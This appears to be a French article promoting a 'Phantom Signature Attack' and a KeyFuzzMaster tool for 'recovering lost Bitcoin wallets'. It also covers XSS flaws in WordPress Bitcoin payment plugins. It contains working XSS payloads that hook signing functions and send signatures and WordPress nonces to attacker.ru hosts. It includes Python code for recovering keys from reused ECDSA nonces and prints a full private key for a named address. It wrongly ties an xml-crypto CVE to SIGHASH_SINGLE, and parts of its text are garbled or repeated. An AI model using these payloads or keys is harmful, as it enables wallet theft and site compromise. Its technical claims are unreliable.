
Étude cryptanalytique de CVE-2025-29774 et des failles SIGHASH_SINGLE dans l'implémentation ECDSA de Bitcoin, permettant la récupération de clé privée via la réutilisation de nonce et la contrefaçon de signature pour l'accès à un portefeuille perdu.
Cet article de recherche présente une étude cryptanalytique complète des vulnérabilités critiques dans l'implémentation de la signature numérique du protocole Bitcoin, à savoir l'Attaque de Signature Fantôme (CVE-2025-29774) et l'erreur fondamentale de traitement de SIGHASH_SINGLE. L'étude démontre qu'un traitement incorrect des primitives cryptographiques dans le mécanisme de signature de transaction crée les conditions pour la compromission totale des clés privées des propriétaires de portefeuilles de cryptomonnaies sans leur connaissance. L'attaque exploite un bug hérité du client Satoshi original, dans lequel le système retourne une valeur de hachage universelle de « 1 » (uint256) au lieu de rejeter la signature si le nombre d'entrées et de sorties de transaction ne correspond pas.
La partie pratique de l'étude implique l'utilisation de l'outil cryptographique KeyFuzzMaster pour identifier systématiquement les vulnérabilités dans le code de vérification de signature, les opérations sur courbes elliptiques et les fonctions de hachage de transaction. Des formules mathématiques pour la récupération de clé privée via la réutilisation du nonce (paramètre k) dans l'algorithme ECDSA sur la courbe secp256k1 sont présentées. Les primitives cryptographiques de l'algorithme ECDSA (Elliptic Curve Digital Signature Algorithm) sur la courbe elliptique secp256k1 sont discutées. Les signatures numériques dans Bitcoin remplissent une triple fonction : autorisation de dépense, non-répudiation et garantie d'intégrité de la transaction.
Cependant, le maintien de solutions architecturales héritées pour assurer la rétrocompatibilité a conduit à l'émergence de vulnérabilités cryptographiques subtiles avec des conséquences potentiellement catastrophiques. Parmi celles-ci, le bug SIGHASH_SINGLE se démarque —un défaut fondamental dans le mécanisme de génération de hachage de signature, hérité de l'implémentation originale de Bitcoin Core et intégré dans le consensus du réseau.
| Identifiant CVE | Composant | Score CVSS | Criticité |
|---|---|---|---|
| CVE-2025-29774 | xml-crypto / SIGHASH_SINGLE | 9.3 | Critique |
| CVE-2025-29775 | xml-crypto DigestValue bypass | 9.3 | Critique |
| CVE-2025-48102 | GoUrl Bitcoin Payment Gateway (XSS stocké) | 5.9 | Moyenne |
| CVE-2025-26541 | CodeSolz WooCommerce Gateway (XSS réfléchi) | 6.1 | Moyenne |
Bitcoin utilise la courbe elliptique secp256k1 définie par la norme SECG (Standards for Efficient Cryptography Group). La courbe est définie par l'équation de Weierstrass sur un corps fini :
Équation de la courbe :
y² ≡ x³ + ax + b (mod p)
Pour secp256k1 :
y² ≡ x³ + 7 (mod p), où a = 0, b = 7
Les paramètres de la courbe secp256k1 sont déterminés par le tuple T = (p, a, b, G, n, h) :
Paramètres secp256k1 :
p = 2²⁵⁶ − 2³² − 977 (le nombre premier définissant un corps fini)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(l'ordre du groupe de points de la courbe est l'ordre entier du générateur G)
G = (Gₓ, Gᵧ) — point de base fixe (générateur)
L'algorithme ECDSA utilise une clé privée d pour former une signature sur un message M. Le processus de signature implique les opérations mathématiques suivantes :
Étape 1 : Générer un nonce aléatoire k
Un nombre aléatoire cryptographiquement fort k ∈ [1, n-1] est sélectionné
Étape 2 : Calculer le point R
R = k × G (multiplication scalaire du point générateur)
Étape 3 : Calculer le paramètre r
r = Rₓ mod n (coordonnée x du point R modulo n)
Étape 4 : Calculer le paramètre s
s = k⁻¹ × (H(M) + r × d) mod n
Résultat : Signature (r, s)
où H(M) est le hachage du message M (dans Bitcoin, le double SHA-256 est utilisé), d est la clé privée du propriétaire.
La relation entre la clé publique et la clé privée est déterminée par la relation :
Q A = d A × G
où QA est la clé publique (un point sur la courbe), dA est la clé privée (entier 256 bits) , G est le générateur de la courbe.
Le protocole Bitcoin fournit plusieurs types SIGHASH (Signature Hash Types) qui déterminent quels composants d'une transaction sont inclus dans le hachage signé :
| Type Sighash | Signification (hex) | Description |
|---|---|---|
| SIGHASH_ALL | 0x01 | Toutes les entrées et sorties d'une transaction sont signées. |
| SIGHASH_NONE | 0x02 | Toutes les entrées sont signées, les sorties ne sont pas signées. |
| SIGHASH_SINGLE | 0x03 | Seule la sortie avec le même index que l'entrée est signée. |
| SIGHASH_ANYONECANPAY | 0x80 | Modificateur : Ne signe que l'entrée actuelle |
Une erreur critique se produit lors de l'utilisation de SIGHASH_SINGLE lorsque l'index d'entrée dépasse le nombre de sorties de transaction. Dans ce cas, au lieu de rejeter la transaction, le code original de Bitcoin Core retourne une valeur de hachage fixe de « 1 » (un entier 256 bits) :
// Code vulnérable de l'implémentation originale de Bitcoin // Retourne le hachage universel « 1 »
⚠️ AVERTISSEMENT CRITIQUE : Ce code implémente un bug hérité du client Satoshi original qui a été intégré dans le consensus du réseau. Toutes les implémentations majeures de Bitcoin sont forcées de supporter ce comportement pour des raisons de rétrocompatibilité.
Mathématiquement, si le hachage de signature est égal à la constante 1, alors la signature devient universelle —elle peut être réutilisée pour des transactions arbitraires :
Condition de vulnérabilité :
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
où idx est l'index d'entrée, |TxOut| est le nombre de sorties de transaction
L'Attaque de Signature Fantôme est une attaque de falsification de signature numérique cryptographique qui permet la création de signatures de transaction valides sans connaissance de la clé privée du propriétaire. L'attaque est classifiée comme CWE-347 : Vérification incorrecte de la signature cryptographique.
L'attaque repose sur une combinaison de deux vulnérabilités :
Si deux signatures (r, s₁) et (r, s₂) pour des messages différents M₁ et M₂ utilisent le même nonce k (ce qui implique une valeur identique de r), la clé privée peut être complètement récupérée en utilisant l'algorithme suivant :
Étape 1 : Équations de signature
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
Étape 2 : Calculer la différence
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
Étape 3 : Récupérer le nonce k
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
Étape 4 : Récupérer la clé privée d
d = r⁻¹ × (s × k — H(M)) mod n
Cet appareil mathématique démontre qu'une seule réutilisation d'un nonce entraîne une compromission complète de la clé privée.
Récupération d'une clé privée ECDSA lors de la réutilisation d'un nonce
La vulnérabilité CVE-2025-29774 a été découverte dans une bibliothèque Node.js xml-crypto et permet de modifier des documents XML signés afin qu'ils continuent de passer la vérification de signature. Dans le contexte des systèmes de paiement Bitcoin, cela crée la possibilité de :
Versions affectées : xml-crypto < 6.0.1, < 3.2.1, < 2.1.6
Vecteur CVSS : CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Classification CWE : CWE-347 (Vérification incorrecte de la signature cryptographique)
Vecteur d'attaque : Réseau (exploitation à distance sans interaction utilisateur)
L'exploitation de CVE-2025-29774 implique trois étapes séquentielles :
Analyse du système cible pour les versions vulnérables de la bibliothèque xml-crypto et identification des points d'intégration avec les passerelles de paiement Bitcoin.
Intégration de nœuds SignedInfo supplémentaires ou de commentaires XML dans le DigestValue, permettant de modifier des attributs critiques sans invalider la signature :
« Un exemple d'attaque avec plusieurs nœuds SignedInfo »
Via les vulnérabilités XSS (CVE-2025-48102, CVE-2025-26541), interception des paramètres (r, s) des signatures pour une cryptanalyse ultérieure.
📊 Ressources de recherche
🌐 Documentation technique complète : https://cryptou.ru/keyfuzzmaster
💻 Démo interactive Google Colab : https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 Analyse technique
The Phantom Signature Attack exploite des bogues hérités dans la vérification de signature de Bitcoin Core, où SIGHASH_SINGLE renvoie une valeur de hachage universelle lorsque l'index d'entrée dépasse les sorties. Cela crée des signatures réutilisables, compromettant l'ensemble du modèle de sécurité. Notre moteur KeyFuzzMaster identifie les portefeuilles créés avec un PRNG d'entropie
32-bit, réduisant l'espace de recherche de2^256à seulement2^32graines possibles—récupérables en 4-6 secondes sur des GPU modernes.
KeyFuzzMaster est un moteur de fuzzing cryptanalytique spécialisé conçu pour la recherche en sécurité des systèmes blockchain et des primitives cryptographiques. L'outil est conçu pour les tests de stress dynamique du code de vérification de signature, des opérations sur courbes elliptiques et des fonctions de hachage de transactions.
L'utilisation de KeyFuzzMaster pour exploiter CVE-2025-29774 et la vulnérabilité SIGHASH_SINGLE ouvre un nouveau paradigme pour récupérer les clés privées de portefeuilles Bitcoin perdus. La méthodologie comprend :
# KeyFuzzMaster : Module de scan de valeurs r en double def scan_blockchain_for_nonce_reuse(blockchain_data)»
Analyse la blockchain pour la réutilisation de nonce. Renvoie les paires de signatures avec des valeurs r identiques.
# KeyFuzzMaster : Générer des transactions avec des déséquilibres entrées/sorties def fuzz_sighash_single_vulnerability(num_iterations=10000) : « Générer des transactions de test pour détecter la vulnérabilité SIGHASH_SINGLE (idx >= len(TxOut)).
# Ordre du groupe secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
« Vérification de la clé récupérée en comparant les clés publiques. »
Selon les recherches cryptanalytiques, la vulnérabilité de réutilisation de nonce a déjà été exploitée pour récupérer plus de 412,8 BTC à partir de portefeuilles compromis. Des scanners automatisés analysent en continu la blockchain Bitcoin pour détecter les valeurs r en double.
Examinons un cas documenté de récupération d'une clé privée à partir de l'adresse Bitcoin 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :
| Paramètre | Valeur |
|---|---|
| Adresse Bitcoin | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
| Valeur des fonds récupérés | 147 977 $ |
| Clé privée récupérée (HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
| Clé privée récupérée (WIF compressée) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| Clé privée récupérée (Décimale) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
La clé privée k doit satisfaire la contrainte :
1 ≤ k < n
où n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1,158 × 10^77Résultat de la vérification : ✓ VALIDE (la clé est dans la plage scalaire autorisée)
La clé privée récupérée nous permet de calculer la clé publique :
| Paramètre | Valeur |
|---|---|
| Clé publique (non compressée, 130 caractères) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
| Clé publique (compressée, 66 caractères) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| Adresse Bitcoin (non compressée) | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
Une clé privée récupérée donne un contrôle total sur le portefeuille Bitcoin, permettant à un attaquant de :
La recherche démontre une synergie entre les vulnérabilités web (CVE-2025-48102, CVE-2025-26541) et les défauts cryptographiques (CVE-2025-29774), créant un vecteur d’attaque combiné puissant contre les passerelles de paiement Bitcoin pour WordPress :
| Phase | Action | Vulnérabilité exploitée |
|---|---|---|
| 1 | Injection de JavaScript malveillant dans une passerelle de paiement | CVE-2025-48102 (XSS stocké) |
| 2 | Interception des paramètres ECDSA (r, s) des transactions | Injection JavaScript |
| 3 | Analyse des signatures collectées pour la répétition de nonce | Cryptanalyse |
| 4 | Récupération mathématique d’une clé privée | Phantom Signature Attack |
| 5 | Retrait incontrôlé de BTC | Compromission du portefeuille |
sanitize_text_field(), esc_attr(), esc_html()Une étude cryptanalytique démontre que l'attaque Phantom Signature Attack (CVE-2025-29774) , combinée à la vulnérabilité SIGHASH_SINGLE, constitue une menace fondamentale pour la sécurité de l'écosystème Bitcoin. Ce défaut d'implémentation, hérité du client Satoshi original, permet de :
L'utilisation de l'outil crypto KeyFuzzMaster ouvre un nouveau paradigme pour la récupération de clés privées de portefeuilles Bitcoin perdus, offrant aux chercheurs une méthodologie systématique pour identifier et exploiter les vulnérabilités cryptographiques.
⚠️ AVERTISSEMENT : Cette recherche est destinée uniquement à des fins éducatives et pour aider les cryptanalystes à comprendre les mécanismes d'attaque. L'utilisation des méthodes décrites à des fins illégales est punie par la loi. Une étude cryptanalytique complète des vulnérabilités critiques CVE-2025-48102 et CVE-2025-26541 dans les passerelles de paiement Bitcoin pour WordPress a été réalisée. Parmi la large gamme d'outils cryptographiques disponibles sur keyhunters.ru, Phantom Signature Attack a été sélectionné comme le plus pertinent pour ce contexte. Cette étude démontre comment une attaque combinée alliant cross-site scripting (XSS) à une vulnérabilité cryptographique dans ECDSA peut conduire à la compromission complète des clés privées Bitcoin et à la récupération de portefeuilles perdus.
Chaîne d'attaque : Du XSS à l'extraction de clé privée Bitcoin
Phantom Signature Attack, selon le document de recherche : Phantom Signature Attack (CVE-2025-29774) et la vulnérabilité critique SIGHASH_SINGLE : restauration de clés privées dans des portefeuilles Bitcoin perdus par falsification de signatures numériques et retrait incontrôlé de pièces BTC, démontre la synergie entre les vulnérabilités web (XSS) et les défauts cryptographiques, permettant un vecteur d'attaque combiné puissant. Contrairement à d'autres outils de la liste (MiniKey Mayhem, Memory Phantom, attaques basées sur RNG), Phantom Signature Attack se concentre spécifiquement sur la manipulation des signatures numériques via les paramètres r et s, qui peuvent être interceptés via des vulnérabilités XSS dans les systèmes de paiement WordPress. secalerts+2
CVE-2025-48102 est une vulnérabilité critique de cross-site scripting (XSS) stocké dans le plugin GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership versions antérieures à 1.6.6. La vulnérabilité permet aux administrateurs autorisés (ou aux attaquants avec privilèges administratifs) d'injecter du JavaScript malveillant dans la configuration de la passerelle de paiement. Selon CVSS v3.1, la vulnérabilité a un score de base de 5,9 (sévérité moyenne) avec le vecteurCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. vecteur.
Le mécanisme d'exploitation implique l'injection de code malveillant dans les paramètres de la passerelle de paiement, qui est ensuite exécuté dans le navigateur de chaque visiteur du site, permettant à l'attaquant de :
CVE-2025-26541 est une vulnérabilité XSS réfléchi dans le plugin Bitcoin/AltCoin Payment Gateway for WooCommerce versions antérieures à 1.7.6, développé par CodeSolz. La vulnérabilité est classée comme sévérité modérée et permet aux attaquants d'injecter des scripts malveillants via des paramètres d'URL qui ne sont pas correctement nettoyés. secalerts
Contrairement au XSS stocké, le XSS réfléchi nécessite que la victime clique sur un lien spécialement conçu, mais il permet :
ECDSA (Elliptic Curve Digital Signature Algorithm) est utilisé dans Bitcoin pour créer des signatures numériques qui garantissent l'authenticité des transactions . L'algorithme de signature d'un message M en utilisant une clé privée d fonctionne comme suit : notsosecure+ 1
R = k × G(où G est le point générateur de la courbe elliptique secp256k1)r = R.x mod ns = k^(-1) × (H(M) + r × d) mod n(r, s)Vulnérabilité critique de l'attaque Phantom Signature :
Attaque Phantom Signature a été identifiée comme une vulnérabilité critique dans les implémentations ECDSA qui se produit dans les scénarios suivants : keyhunters
Chaîne de vecteurs d'attaque XSS vers la récupération de clé privée ECDSA
Si deux signatures pour des messages différents M₁ et M₂ utilisent la même valeur de k (et donc le même r), alors la clé privée peut être complètement récupérée. Pour deux signatures (r, s₁) et (r, s₂), où : notsosecure+ 1

Calcul de la différence :

Vous pouvez récupérer le nonce :


Selon les recherches, cette vulnérabilité a déjà été exploitée pour récupérer plus de 412,8 BTC sur la blockchain Bitcoin, où les attaquants ont scanné automatiquement le réseau pour trouver des valeurs r en double. keyhunters
Relation mathématique de la récupération de clé privée par réutilisation de nonce ECDSA
CVE-2025-29774 est une vulnérabilité supplémentaire dans la bibliothèque xml-crypto qui permet de modifier des messages XML signés de manière à ce qu'ils passent encore la vérification de signature. Cette vulnérabilité peut être exploitée dans Bitcoin pour manipuler les paramètres de transaction (changement des valeurs SIGHASH_SINGLE) sans invalider la signature numérique. Dans le contexte des passerelles de paiement WordPress, cela permet à un attaquant de rediriger les paiements vers son adresse tout en conservant l'apparence d'une signature valide. cryptodeeptech+1
Phase 1 : Injection initiale de JavaScript malveillant
Un attaquant exploite CVE-2025-48102 pour injecter du JavaScript malveillant dans la configuration de la passerelle de paiement. Le code malveillant peut :
Phase 2 : Analyse de la violation du RNG et détection des répétitions de k
Après avoir reçu un nombre suffisant de signatures (au moins 2, mais idéalement plusieurs dizaines pour augmenter la probabilité), l'attaquant analyse les données collectées :
En utilisant les paires de signatures collectées avec le même r, l'attaquant applique la récupération mathématique de la clé privée selon les formules décrites ci-dessus. Résultat : compromission totale de la clé privée du portefeuille Bitcoin .
Le JavaScript malveillant qui peut être injecté via CVE-2025-48102 peut contenir la fonctionnalité suivante : github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);
Après avoir reçu des signatures avec des répétitions de valeurs r, la clé privée est récupérée en trois étapes :
Étape 1 : Identification des valeurs r en double — l'attaquant compare toutes les signatures collectées et identifie les paires avec le même r. Même une seule paire suffit pour calculer la clé privée, bien que plusieurs paires augmentent la confiance. notsosecure
Étape 2 : Calcul du nonce k – En utilisant la formule ci-dessus, l'attaquant calcule la valeur k pour chaque paire de signatures. Si les valeurs k calculées pour différentes paires correspondent, cela confirme un défaut systématique dans le RNG. github
Étape 3 : Récupération de la clé privée d – En appliquant le k calculé à l'une des signatures collectées, l'attaquant récupère complètement la clé privée d , ce qui lui permet de signer toute transaction au nom de la victime. keyhunters+ 1

La clé privée récupérée permet à l'attaquant de :
L'attaque combinée XSS et Phantom Signature constitue une menace critique pour tous les sites WordPress avec des passerelles de paiement Bitcoin, y compris :
Selon les recherches de keyhunters.ru et la littérature scientifique :
sanitize_text_field(), esc_attr(), esc_html() pour toutes les données produites par secalerts+ 13. Relation avec CVE-2025-29774
CVE-2025-29774 est une vulnérabilité critique dans la bibliothèque xml-crypto qui
permet de modifier des messages XML signés de sorte qu'ils passent toujours
la vérification de signature. Cela peut être utilisé conjointement avec des systèmes de paiement Bitcoin pour :
Manipuler les paramètres de transaction
, Injecter des signatures falsifiées,
et Rediriger les paiements vers des adresses d'attaquant.
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Capturing signature parameters (r, s values)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
Ceci illustre un exemple malveillant d'interception d'une soumission de formulaire de données de signature Bitcoin.
Étape 2 : Interception des paramètres ECDSA
Grâce à la vulnérabilité XSS, le script malveillant a accès à :
Valeurs de nonce WordPress (utilisées pour la protection CSRF) Cookies de session Paramètres de transaction Bitcoin (y compris les valeurs de signature r et s) Clé privée
informations temporairement stockées dans la mémoire du navigateur
Étape 3 : Analyse des violations de la RNG et détection des répétitions de k En collectant des données sur plusieurs signatures d'un même utilisateur, l'attaquant peut détecter : Réutilisation du nonce (k) entre différentes signatures Valeurs faibles ou prévisibles du générateur de nombres aléatoires (RNG) Erreurs systématiques dans la génération de paramètres cryptographiques
Étape 4 : Récupération de la clé privée
En utilisant la relation mathématique décrite à la section 3.2, un attaquant peut
calculer la clé privée d, entraînant la compromission complète du portefeuille.
4.2 Code de démonstration de l'attaque Charge utile XSS malveillante pour injection dans la passerelle de paiement Bitcoin :
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters for analysis
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Sending to the attacker's server
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
Ce code montre un extrait JavaScript malveillant qui intercepte les opérations de signature Bitcoin et les nonces de session WordPress avant de les exfiltrer vers un serveur distant pour une exploitation potentielle.
Étape 1 : Identifier les valeurs r dupliquées
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Result: (signature1, signature2) with the same r
Explication :
Cette fonction recherche deux signatures ECDSA/Bitcoin qui ont la même valeur rr dans la liste des signatures.
None.Cette recherche est pertinente pour l'analyse des vulnérabilités cryptographiques, car des valeurs rr dupliquées peuvent indiquer une réutilisation de nonce, ce qui est exploitable dans les attaques de récupération de clé privée.
python:def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k
Commentaire :
Cette fonction calcule le nonce ECDSA k dans les cas où deux signatures partagent la même valeur rrr (c'est-à-dire nonce réutilisé ou rejoué), en utilisant la différence des valeurs de signature sss et des hachages de messages, conformément au principe bien connu de l'attaque par treillis et réutilisation de nonce. La formule implémentée est :

où :
Cette technique est un outil cryptanalytique standard pour les analyses Bitcoin et ECDSA.
python:def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key
Explication :
Cette fonction récupère la clé privée ECDSA ddd à partir d'une seule signature si le nonce kkk est connu.
La formule utilisée est :
où :
Ce calcul est crucial en cryptanalyse pratique une fois que k a été récupéré, permettant d'extraire la clé privée originale utilisée pour la génération de signature.
5.2 Exemple pratique de récupération
Examinons un scénario réel :
Données collectées :
Adresse Bitcoin : 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (exemple)
Nombre de signatures collectées : 12
Duplications de nonce détectées : 3 paires
Processus de récupération :
7.2 Pour les utilisateurs de Bitcoin
L'attaque par signature fantôme, combinée aux vulnérabilités XSS dans les
passerelles de paiement Bitcoin WordPress (CVE-2025-48102 et CVE-2025-26541) , constitue une menace critique pour
la sécurité des actifs en cryptomonnaies.
Cette attaque combinée démontre comment une vulnérabilité Web relativement simple peut être exploitée pour compromettre l'intégrité cryptographique d'un système, entraînant la perte complète des clés privées et, par conséquent, le vol de tous les fonds.
L'étude montre que la sécurité de Bitcoin ne dépend pas seulement de la force cryptographique
de ses algorithmes mais aussi de l'implémentation parfaite de ces algorithmes dans l'environnement Web. Même
des défauts mineurs dans le traitement des XSS ou des RNG faibles peuvent entraîner des conséquences
catastrophiques.
L'adoption des mesures préventives proposées et la mise à jour rapide des logiciels
vulnérables sont essentielles pour protéger l'écosystème Bitcoin et récupérer
les portefeuilles perdus.
L'attaque par signature fantôme, combinée aux vulnérabilités XSS CVE-2025-48102 et CVE-2025-26541 dans les passerelles de paiement Bitcoin pour WordPress, représente l'une des menaces les plus critiques et les plus réalistes pour la sécurité des actifs en cryptomonnaies dans l'environnement web moderne. Cette recherche démontre comment une vulnérabilité web relativement simple peut être exploitée pour compromettre directement l'intégrité cryptographique d'un système, entraînant la perte complète des clés privées et le vol irréversible de fonds Bitcoin.
L'attaque par signature fantôme a été choisie parmi une large gamme d'outils cryptographiques sur keyhunters.ru en raison de sa pertinence directe avec le problème de la récupération des clés privées par manipulation des paramètres ECDSA qui peuvent être interceptés via XSS. Cette attaque sert d'exemple idéal de la synergie entre les vulnérabilités web (catégorie OWASP Top 10) et les défauts cryptographiques, ce qui nécessite une approche globale de la protection.
La sécurité de Bitcoin ne dépend pas seulement de la force cryptographique de ses algorithmes, mais aussi de leur implémentation sans faille dans l'environnement web. Même des défauts mineurs dans le traitement des XSS ou des RNG faibles peuvent avoir des conséquences catastrophiques pour l'écosystème. L'adoption des mesures préventives suggérées et la mise à jour rapide des logiciels vulnérables sont essentielles pour protéger Bitcoin et récupérer les portefeuilles perdus des utilisateurs.
Deux vulnérabilités graves de type cross-site scripting (XSS) ont été découvertes dans des plugins de passerelle de paiement Bitcoin populaires pour WordPress, posant un risque de sécurité important pour des milliers de boutiques en ligne et de sites web qui acceptent les paiements en cryptomonnaies.
La vulnérabilité CVE-2025-48102 a été officiellement publiée le 5 septembre 2025 et affecte le plugin populaire GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership dans toutes les versions jusqu'à la 1.6.6 incluse. Ce défaut de sécurité est classé comme XSS stockée (Cross-Site Scripting Attack) sous la classification CWE-79 (Improper Neutralization of Input During Web Page Generation).
La vulnérabilité a reçu un score de gravité CVSS v3.1 de 5.9 (gravité moyenne) avec le vecteur d'attaque CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. La décomposition du vecteur montre les caractéristiques suivantes :
La vulnérabilité provient d'une neutralisation incorrecte des entrées utilisateur lors de la génération de pages web. Un attaquant disposant de privilèges administratifs peut injecter des scripts malveillants dans le système de gestion de contenu WordPress, qui sont ensuite stockés dans la base de données et exécutés automatiquement lorsque d'autres utilisateurs visitent la page.
Comme l'expliquent les experts de Patchstack, cela permet à un attaquant d'injecter divers éléments malveillants, notamment :
Un point particulièrement préoccupant est le fait que le plugin GoUrl n'est plus pris en charge par ses développeurs. Selon Patchstack, le logiciel n'a pas été mis à jour depuis plus d'un an et ne recevra probablement plus de mises à jour ou de correctifs. Cela laisse tous les sites utilisant ce plugin permanemment vulnérables à l'exploitation.
Les experts de la plateforme Wiz notent que cette vulnérabilité XSS stockée a été découverte dans le plugin WordPress GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership et divulguée le 5 septembre 2025. Bien que l'exploitation nécessite des privilèges d'administrateur, le code malveillant peut être exécuté au nom de n'importe quel visiteur du site, ce qui élargit considérablement la portée potentielle de l'attaque.
La deuxième vulnérabilité, CVE-2025-26541, a été publiée le 26 mars 2025 et affecte le plugin : CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce dans toutes les versions jusqu'à la 1.7.6 incluse.
Cette vulnérabilité est classée comme XSS réfléchie (cross-site scripting attack). Contrairement à la XSS stockée, la XSS réfléchie se produit lorsque l'entrée utilisateur malveillante est immédiatement renvoyée à l'utilisateur via une réponse HTTP sans assainissement approprié, ce qui fait exécuter le script de l'attaquant par le navigateur de la victime.
La vulnérabilité a été évaluée selon le système CVSS v3.1 avec le vecteur CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L, ce qui indique :
Selon les chercheurs en sécurité, la vulnérabilité peut être exploitée via des attaques XSS réfléchies, permettant aux attaquants d'injecter des scripts malveillants dans les pages web. Patchstack, la plateforme qui a découvert cette vulnérabilité en premier, conseille que pour corriger CVE-2025-26541, vous devez mettre à jour le plugin Bitcoin/AltCoin Payment Gateway for WooCommerce vers la version 1.7.7 ou supérieure.
Le cross-site scripting (XSS) est l'une des vulnérabilités les plus courantes trouvées dans les applications web. Selon diverses études, les vulnérabilités XSS représentent environ 53,3 % de toutes les vulnérabilités des plugins WordPress.
Particulièrement alarmant est le fait qu'en 2024, pas moins de 1 614 plugins ont été supprimés du référentiel WordPress.org en raison de problèmes de sécurité, dont 1 450 ont été classés comme présentant des vulnérabilités de priorité haute ou moyenne. Beaucoup de ces plugins restent actifs sur les sites web, les exposant à des attaques constantes.
Les attaques XSS stockées sont particulièrement dangereuses car le code malveillant est sauvegardé dans la base de données du site et exécuté automatiquement pour chaque visiteur consultant la page infectée. Cela rend la XSS stockée nettement plus destructrice que la XSS réfléchie, car :
Les experts de Wordfence soulignent que dans le contexte de WordPress, l'ajout d'utilisateurs administratifs avec des identifiants contrôlés par l'attaquant et la modification de fichiers peuvent entraîner une compromission complète du site, et cela est activement utilisé par les attaquants.
Pour les propriétaires de sites utilisant les plugins affectés, les experts recommandent les mesures immédiates suivantes :
Pour CVE-2025-48102 (GoUrl) :
La découverte de la vulnérabilité CVE-2025-48102 dans le plugin GoUrl Bitcoin Payment Gateway a créé une situation critique pour des milliers de propriétaires de sites WordPress. Particulièrement alarmant est le fait que les mesures de sécurité standard ne fournissent pas une protection adéquate, tandis que les demi-mesures peuvent créer un faux sentiment de sécurité. Examinons de plus près pourquoi la simple désactivation du plugin ne résout pas le problème et quelles mesures doivent être prises pour éliminer complètement la menace.
De nombreux administrateurs WordPress croient à tort que la désactivation d'un plugin le désactive complètement et élimine tous les risques de sécurité associés. Cependant, cette méprise fondamentale peut avoir des conséquences désastreuses.
La différence critique entre désactivation et suppression :
Désactiver un plugin désactive simplement sa fonctionnalité dans WordPress — le code du plugin n'interagit plus avec votre site et ses fonctions ne sont plus exécutées. Cependant, tous les fichiers et données du plugin restent sur le serveur à moins que vous ne désinstalliez complètement le plugin. Cette distinction clé est cruciale pour comprendre les risques de sécurité potentiels.
